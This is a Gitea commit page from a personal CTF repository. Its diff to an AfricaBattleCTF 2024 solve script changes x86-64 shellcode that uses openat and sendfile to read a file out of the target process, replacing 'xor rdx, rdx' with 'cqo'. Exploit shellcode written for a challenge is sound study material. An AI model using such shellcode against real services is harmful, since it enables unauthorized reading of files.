learnt about the cqo instruction that sign-extends rax into rdx · 8ba0d691c2 - ctfs - Gitea: Git with a cup of tea

jc/ctfs

learnt about the cqo instruction that sign-extends rax into rdx

This commit is contained in:

jc

2024-10-23 14:14:56 +00:00

parent c9a6e41075

commit 8ba0d691c2

1 changed files with 3 additions and 3 deletions

									
										africabattlectf_2024/sweet_game/a.py
									
		+2
		-2
	
												View File
												
					@@ -26,9 +26,9 @@ r.sendlineafter(b": ", buf)

					# openat + sendfile

					# openat + sendfile

					shellcode="""

					shellcode="""

					lea rsi, [rdx+38]

					lea rsi, [rdx+37]

					mov edi, -100

					mov edi, -100

					xor rdx, rdx

					cqo

					xor r10, r10

					xor r10, r10

					add ax, 257

					add ax, 257

					syscall

					syscall